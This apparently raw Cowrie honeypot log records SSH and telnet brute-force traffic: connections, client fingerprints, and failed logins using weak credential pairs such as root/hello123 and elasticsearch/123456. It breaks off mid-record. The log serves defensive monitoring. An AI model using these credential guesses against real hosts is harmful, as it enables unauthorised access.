{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:27.905996Z","src_ip":"176.65.132.129","session":"a27bf0dd4c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:28.153195Z","src_ip":"176.65.132.129","session":"a27bf0dd4c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:29.238951Z","src_ip":"176.65.132.129","session":"a27bf0dd4c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49420,"dst_ip":"159.203.135.109","dst_port":22,"session":"16e61cf944e0","protocol":"ssh","message":"New connection: 176.65.132.129:49420 (159.203.135.109:22) [session: 16e61cf944e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:31.021679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:31.027411Z","src_ip":"176.65.132.129","session":"16e61cf944e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:31.110451Z","src_ip":"176.65.132.129","session":"16e61cf944e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:31.356061Z","src_ip":"176.65.132.129","session":"16e61cf944e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49710,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d056aea049","protocol":"telnet","message":"New connection: 152.42.224.71:49710 (10.17.0.5:23) [session: b4d056aea049]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:32.154140Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:32.441122Z","src_ip":"176.65.132.129","session":"16e61cf944e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49428,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a935843ad34","protocol":"ssh","message":"New connection: 176.65.132.129:49428 (159.203.135.109:22) [session: 6a935843ad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:34.282245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:34.287068Z","src_ip":"176.65.132.129","session":"6a935843ad34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:34.369322Z","src_ip":"176.65.132.129","session":"6a935843ad34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.135544538497925,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:34.625935Z","src_ip":"152.42.224.71","session":"8a28f80ea619","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:34.755463Z","src_ip":"176.65.132.129","session":"6a935843ad34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.58287501335144,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:35.832206Z","src_ip":"152.42.224.71","session":"4fd90a4d8da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:35.841932Z","src_ip":"176.65.132.129","session":"6a935843ad34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60594,"dst_ip":"159.203.135.109","dst_port":22,"session":"c865921f473e","protocol":"ssh","message":"New connection: 176.65.132.129:60594 (159.203.135.109:22) [session: c865921f473e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:37.602711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:37.607594Z","src_ip":"176.65.132.129","session":"c865921f473e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:37.690313Z","src_ip":"176.65.132.129","session":"c865921f473e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:37.943181Z","src_ip":"176.65.132.129","session":"c865921f473e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:39.052566Z","src_ip":"176.65.132.129","session":"c865921f473e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60610,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf544a30f0c","protocol":"ssh","message":"New connection: 176.65.132.129:60610 (159.203.135.109:22) [session: bdf544a30f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:40.864721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:40.871588Z","src_ip":"176.65.132.129","session":"bdf544a30f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:40.954470Z","src_ip":"176.65.132.129","session":"bdf544a30f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":34832,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9269bd7c83","protocol":"ssh","message":"New connection: 139.19.117.129:34832 (159.203.135.109:22) [session: 5c9269bd7c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.112978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.118702Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.210993Z","src_ip":"176.65.132.129","session":"bdf544a30f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.216759Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:b0:27:cc:fe:2e:3c:d2:c2:be:61:f5:90:88:b3:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxdPcE2RIpdemTG7JgAciUjZm93EYYT0Ujv4Uqx74z/1hIi8v/UiimW1og4Air284DiDqL7LEnHE01SlJQskAFwGu3hGeDVi4PC9ZSZVL2/fIwAgp86Phlc49rFxE8W8OLLCh+5je+WIqWw7AFxWEUuRj2gXm93AS0xtldwVXtxRBlubDAbjyQIceHqpkUqxmkboplXihrAhf5rnq9jiCxjDM8GlMwJB2gKLtPOxGXvOZgGusGo6yg6YyUVfQKa7+sarJJbZGETI1XDru/r16+swa1uHlSsmUNKCGNs4aF6scQ+VLRX4X2BxMxTNj/wT3sf9CSUy+pXs7CMK9/u9jECDUKyPIC1xwiWuAEVO28ZvottUUkOyWMDYIn08bbccN3drwT1xrGAn0HZcO0SWtfZKTOd488dPgDdUOrIa9vjKJrNPWCI6zFpAI3UAGSViEF8Wmw0nFGlPYKa1gihrzEV447HmmzFUYLjY4BzNX5eUo2/nRKzVL9JUgKaztV5uE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:b0:27:cc:fe:2e:3c:d2:c2:be:61:f5:90:88:b3:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.409738Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:b0:27:cc:fe:2e:3c:d2:c2:be:61:f5:90:88:b3:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxdPcE2RIpdemTG7JgAciUjZm93EYYT0Ujv4Uqx74z/1hIi8v/UiimW1og4Air284DiDqL7LEnHE01SlJQskAFwGu3hGeDVi4PC9ZSZVL2/fIwAgp86Phlc49rFxE8W8OLLCh+5je+WIqWw7AFxWEUuRj2gXm93AS0xtldwVXtxRBlubDAbjyQIceHqpkUqxmkboplXihrAhf5rnq9jiCxjDM8GlMwJB2gKLtPOxGXvOZgGusGo6yg6YyUVfQKa7+sarJJbZGETI1XDru/r16+swa1uHlSsmUNKCGNs4aF6scQ+VLRX4X2BxMxTNj/wT3sf9CSUy+pXs7CMK9/u9jECDUKyPIC1xwiWuAEVO28ZvottUUkOyWMDYIn08bbccN3drwT1xrGAn0HZcO0SWtfZKTOd488dPgDdUOrIa9vjKJrNPWCI6zFpAI3UAGSViEF8Wmw0nFGlPYKa1gihrzEV447HmmzFUYLjY4BzNX5eUo2/nRKzVL9JUgKaztV5uE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.414265Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:b0:27:cc:fe:2e:3c:d2:c2:be:61:f5:90:88:b3:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxdPcE2RIpdemTG7JgAciUjZm93EYYT0Ujv4Uqx74z/1hIi8v/UiimW1og4Air284DiDqL7LEnHE01SlJQskAFwGu3hGeDVi4PC9ZSZVL2/fIwAgp86Phlc49rFxE8W8OLLCh+5je+WIqWw7AFxWEUuRj2gXm93AS0xtldwVXtxRBlubDAbjyQIceHqpkUqxmkboplXihrAhf5rnq9jiCxjDM8GlMwJB2gKLtPOxGXvOZgGusGo6yg6YyUVfQKa7+sarJJbZGETI1XDru/r16+swa1uHlSsmUNKCGNs4aF6scQ+VLRX4X2BxMxTNj/wT3sf9CSUy+pXs7CMK9/u9jECDUKyPIC1xwiWuAEVO28ZvottUUkOyWMDYIn08bbccN3drwT1xrGAn0HZcO0SWtfZKTOd488dPgDdUOrIa9vjKJrNPWCI6zFpAI3UAGSViEF8Wmw0nFGlPYKa1gihrzEV447HmmzFUYLjY4BzNX5eUo2/nRKzVL9JUgKaztV5uE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:b0:27:cc:fe:2e:3c:d2:c2:be:61:f5:90:88:b3:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.512054Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:b0:27:cc:fe:2e:3c:d2:c2:be:61:f5:90:88:b3:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxdPcE2RIpdemTG7JgAciUjZm93EYYT0Ujv4Uqx74z/1hIi8v/UiimW1og4Air284DiDqL7LEnHE01SlJQskAFwGu3hGeDVi4PC9ZSZVL2/fIwAgp86Phlc49rFxE8W8OLLCh+5je+WIqWw7AFxWEUuRj2gXm93AS0xtldwVXtxRBlubDAbjyQIceHqpkUqxmkboplXihrAhf5rnq9jiCxjDM8GlMwJB2gKLtPOxGXvOZgGusGo6yg6YyUVfQKa7+sarJJbZGETI1XDru/r16+swa1uHlSsmUNKCGNs4aF6scQ+VLRX4X2BxMxTNj/wT3sf9CSUy+pXs7CMK9/u9jECDUKyPIC1xwiWuAEVO28ZvottUUkOyWMDYIn08bbccN3drwT1xrGAn0HZcO0SWtfZKTOd488dPgDdUOrIa9vjKJrNPWCI6zFpAI3UAGSViEF8Wmw0nFGlPYKa1gihrzEV447HmmzFUYLjY4BzNX5eUo2/nRKzVL9JUgKaztV5uE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:41.517133Z","src_ip":"139.19.117.129","session":"5c9269bd7c83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:42.297011Z","src_ip":"176.65.132.129","session":"bdf544a30f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35066,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4cd355fa9da","protocol":"telnet","message":"New connection: 152.42.224.71:35066 (10.17.0.5:23) [session: c4cd355fa9da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:43.508217Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60624,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf8995e01543","protocol":"ssh","message":"New connection: 176.65.132.129:60624 (159.203.135.109:22) [session: cf8995e01543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:44.260386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:44.265821Z","src_ip":"176.65.132.129","session":"cf8995e01543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","e